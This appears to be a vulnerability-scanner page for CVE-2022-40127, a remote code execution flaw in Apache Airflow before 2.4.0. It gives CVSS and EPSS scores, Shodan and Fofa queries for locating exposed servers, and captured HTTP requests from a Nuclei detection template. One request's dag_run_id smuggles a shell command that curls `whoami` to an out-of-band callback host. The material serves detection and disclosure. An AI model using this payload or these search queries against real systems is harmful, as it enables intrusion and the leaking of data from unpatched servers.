| Title | AirFlow < 2.4.0 - Remote Code Execution |
|---|---|
| Author | DhiyaneshDk,ritikchaddha |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Upgrade AirFlow to version 2.4.0 or later to mitigate this vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.93736 |
| CVE ID | CVE-2022-40127 |
| CWE ID | CWE-94 |
| Shodan Query | title:"Sign In - Airflow"http.title:"airflow - dags" || http.html:"apache airflow"http.title:"sign in - airflow"product:"redis" |
| Fofa Query | title="sign in - airflow"apache airflowtitle="airflow - dags" || http.html:"apache airflow" |
| Tags | cve cve2022 airflow rce oast authenticated apache vuln |
A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0.
GET /login/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.4
Connection: close
Accept-Encoding: gzip
POST /login/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=fUtMKO&password=E4beyg&_csrf_token=t8dy1u
POST /api/v1/dags/example_bash_operator/dagRuns HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
Connection: close
Content-Length: 198
Content-Type: application/json
Accept-Encoding: gzip
{
"conf": {
"dag_run": "38FCGjZxznB33dMMKHis3HDA29u"
},
"dag_run_id": "id \"&& curl `whoami`.d5jmqb9le0o3no16bacgm94xp8xi3dkrt.oast.pro",
"logical_date": "2026-01-14T19:17:17.920Z"
}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-40127.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-40127.pcap
N/AN/A